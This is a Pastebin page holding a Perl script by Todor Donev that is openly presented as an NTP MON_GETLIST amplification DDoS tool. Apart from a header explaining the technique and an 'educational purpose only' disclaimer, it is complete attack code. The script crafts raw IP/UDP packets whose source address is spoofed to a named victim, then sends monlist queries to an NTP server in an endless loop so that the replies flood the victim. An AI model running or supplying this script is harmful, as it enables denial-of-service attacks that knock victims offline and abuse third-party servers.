Advertisement
Guest User

ntpd MON_GETLIST Query Amplification by Todor Donev

a guest
Jul 11th, 2015
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.56 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  ntp MON_GETLIST query amplification ddos
  4. #
  5. #  Copyright 2015 (c) Todor Donev
  6. #  todor.donev@gmail.com
  7. #  http://www.ethical-hacker.org/
  8. #  https://www.facebook.com/ethicalhackerorg
  9. #
  10. #  A Network Time Protocol (NTP) Amplification
  11. #  attack is an emerging form of Distributed
  12. #  Denial of Service (DDoS) that relies on the
  13. #  use of publically accessible NTP servers to
  14. #  overwhelm a victim system with UDP traffic.
  15. #  The NTP service supports a monitoring service
  16. #  that allows administrators to query the server
  17. #  for traffic counts of connected clients. This
  18. #  information is provided via the “monlist”
  19. #  command. The basic attack technique consists
  20. #  of an attacker sending a "get monlist" request
  21. #  to a vulnerable NTP server, with the source
  22. #  address spoofed to be the victim’s address.
  23. #
  24. #
  25. #  Disclaimer:
  26. #  This or previous program is for Educational
  27. #  purpose ONLY. Do not use it without permission.
  28. #  The usual disclaimer applies, especially the
  29. #  fact that Todor Donev is not liable for any
  30. #  damages caused by direct or indirect use of the
  31. #  information or functionality provided by these
  32. #  programs. The author or any Internet provider
  33. #  bears NO responsibility for content or misuse
  34. #  of these programs or any derivatives thereof.
  35. #  By using these programs you accept the fact
  36. #  that any damage (dataloss, system crash,
  37. #  system compromise, etc.) caused by the use
  38. #  of these programs is not Todor Donev's
  39. #  responsibility.
  40. #
  41. #  Use at your own risk and educational
  42. #  purpose ONLY!
  43. #
  44. #  See also, UDP-based Amplification Attacks:
  45. #  https://www.us-cert.gov/ncas/alerts/TA14-017A
  46. #
  47. #
  48.  
  49. use Socket;
  50.  
  51. if ( $< != 0 ) {
  52.    print "Sorry, must be run as root!\n";
  53.    print "This script use RAW Socket.\n";
  54.    exit;
  55. }
  56.  
  57. my $ntpd            = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
  58. my $victim          = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)
  59.  
  60. print "[ ntpd MON_GETLIST query amplification ]\n";
  61. if (!defined $ntpd || !defined $victim) {
  62.     print "[ Usg: $0 <ntp server> <victim>\n";
  63.     print "[ <todor.donev\@gmail.com>  Todor Donev ]\n";
  64.     exit;
  65. }
  66. print "[ Sending NTP packets: $ARGV[0] -> $ARGV[1]\n";
  67. socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
  68. setsockopt(RAW, 0, 1, 1) or die $!;
  69. main();
  70.  
  71.     # Main program
  72. sub main {
  73.     my $packet;
  74.    
  75.     $packet = iphdr();
  76.     $packet .= udphdr();
  77.     $packet .= ntphdr();
  78.     # b000000m...
  79.     send_packet($packet);
  80. }
  81.  
  82.     # IP header (Layer 3)
  83. sub iphdr {
  84.     my $ip_ver           = 4;          # IP Version 4      (4 bits)
  85.     my $iphdr_len        = 5;          # IP Header Length    (4 bits)
  86.     my $ip_tos           = 0;          # Differentiated Services  (8 bits)
  87.     my $ip_total_len     = $iphdr_len + 20;      # IP Header Length + Data  (16 bits)
  88.     my $ip_frag_id       = 0;          # Identification Field    (16 bits)
  89.     my $ip_frag_flag     = 000;          # IP Frag Flags (R DF MF)  (3 bits)
  90.     my $ip_frag_offset   = 0000000000000;      # IP Fragment Offset    (13 bits)
  91.     my $ip_ttl           = 255;          # IP TTL      (8 bits)
  92.     my $ip_proto         = 17;          # IP Protocol      (8 bits)
  93.     my $ip_checksum      = 0;          # IP Checksum      (16 bits)
  94.  
  95.     # IP Packet
  96.   my $iphdr  = pack(
  97.       'H2 H2 n n B16 h2 c n a4 a4',
  98.       $ip_ver . $iphdr_len, $ip_tos,
  99.       $ip_total_len, $ip_frag_id,
  100.       $ip_frag_flag . $ip_frag_offset,
  101.       $ip_ttl, $ip_proto, $ip_checksum,
  102.       $victim, $ntpd
  103.       );
  104.       return $iphdr;
  105. }
  106.  
  107.     # UDP Header (Layer 4)
  108. sub udphdr {
  109.     my $udp_src_port  = 31337;      # UDP Sort Port    (16 bits) (0-65535)
  110.     my $udp_dst_port  = 123;        # UDP Dest Port    (16 btis) (0-65535)
  111.     my $udp_len    = 8 + length(ntphdr());    # UDP Length    (16 bits) (0-65535)
  112.     my $udp_checksum   = 0;        # UDP Checksum    (16 bits) (XOR of header)
  113.  
  114.     # UDP Packet
  115.     my $udphdr    = pack(
  116.       'n n n n',
  117.       $udp_src_port,
  118.       $udp_dst_port,
  119.       $udp_len,
  120.       $udp_checksum
  121.       );
  122.   return $udphdr;
  123. }
  124.  
  125.     # NTP Header (Layer 7)
  126. sub ntphdr {
  127.     my $rm_vn_mode  = 0x27;
  128.    
  129.      # Response bit to 0, More bit to 0, Version field to 2, Mode field to 7
  130.      #
  131.      # A mode 7 packet is used exchanging data between an NTP server
  132.      # and a client for purposes other than time synchronization, e.g.
  133.      # monitoring, statistics gathering and configuration.  A mode 7
  134.      # packet has the following format:
  135.      #
  136.      #    0                    1                   2                   3
  137.      #    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  138.      #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  139.      #   |R|M| VN  | Mode|A|  Sequence   | Implementation|   Req Code    |
  140.      #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  141.      #   |  Err  | Number of data items  |  MBZ  |   Size of data item   |
  142.      #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  143.      #   |                                                               |
  144.      #   |            Data (Minimum 0 octets, maximum 500 octets)        |
  145.      #   |                                                               |
  146.      #   |                           [...]                               |
  147.      #   |                                                               |
  148.      #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  149.      #   |               Encryption Keyid (when A bit set)               |
  150.      #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  151.      #   |                                                               |
  152.      #   |          Message Authentication Code (when A bit set)         |
  153.      #   |                                                               |
  154.      #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  155.      #
  156.      # where the fields are (note that the client sends requests, the server
  157.      # responses):
  158.      # Response Bit:  This packet is a response (if clear, packet is a request).
  159.      # More Bit:  Set for all packets but the last in a response which
  160.      #    requires more than one packet.
  161.      # Version Number: 2 for current version
  162.      # Mode:  Always 7
  163.     my $auth    = 0x00;        # If set, this packet is authenticated.
  164.  
  165.     my $implementation  = 0x03;        # Iimplementation: 0x00 (UNIV), 0x02 (XNTPD_OLD), 0x03 (XNTPD)
  166.               # The number of the implementation this request code
  167.               # is defined by.  An implementation number of zero is used
  168.               # for requst codes/data formats which all implementations
  169.               # agree on.  Implementation number 255 is reserved (for
  170.               # extensions, in case we run out).
  171.  
  172.     my $request    = 0x2a;        # Request code is an implementation-specific code which specifies the
  173.               # operation to be (which has been) performed and/or the
  174.               # format and semantics of the data included in the packet
  175.               # 0x02 (PEER_INFO), 0x03 (PEER_STATS), 0x04 (SYS_INFO),
  176.               # 0x04 (SYS_STATS), 0x2a (MON_GETLIST)  
  177.     # NTP packet
  178.     my $ntphdr    = pack(
  179.                         'W2 C2 C2 C2',
  180.       $rm_vn_mode,
  181.                         $auth,
  182.       $implementation,
  183.       $request
  184.       );
  185. return $ntphdr;
  186. }
  187.  
  188. sub send_packet {
  189.     while(1){
  190.     select(undef, undef, undef, 0.30);      # Sleep 300 milliseconds
  191.     send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $ntpd)) or die $!;
  192.    }
  193. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement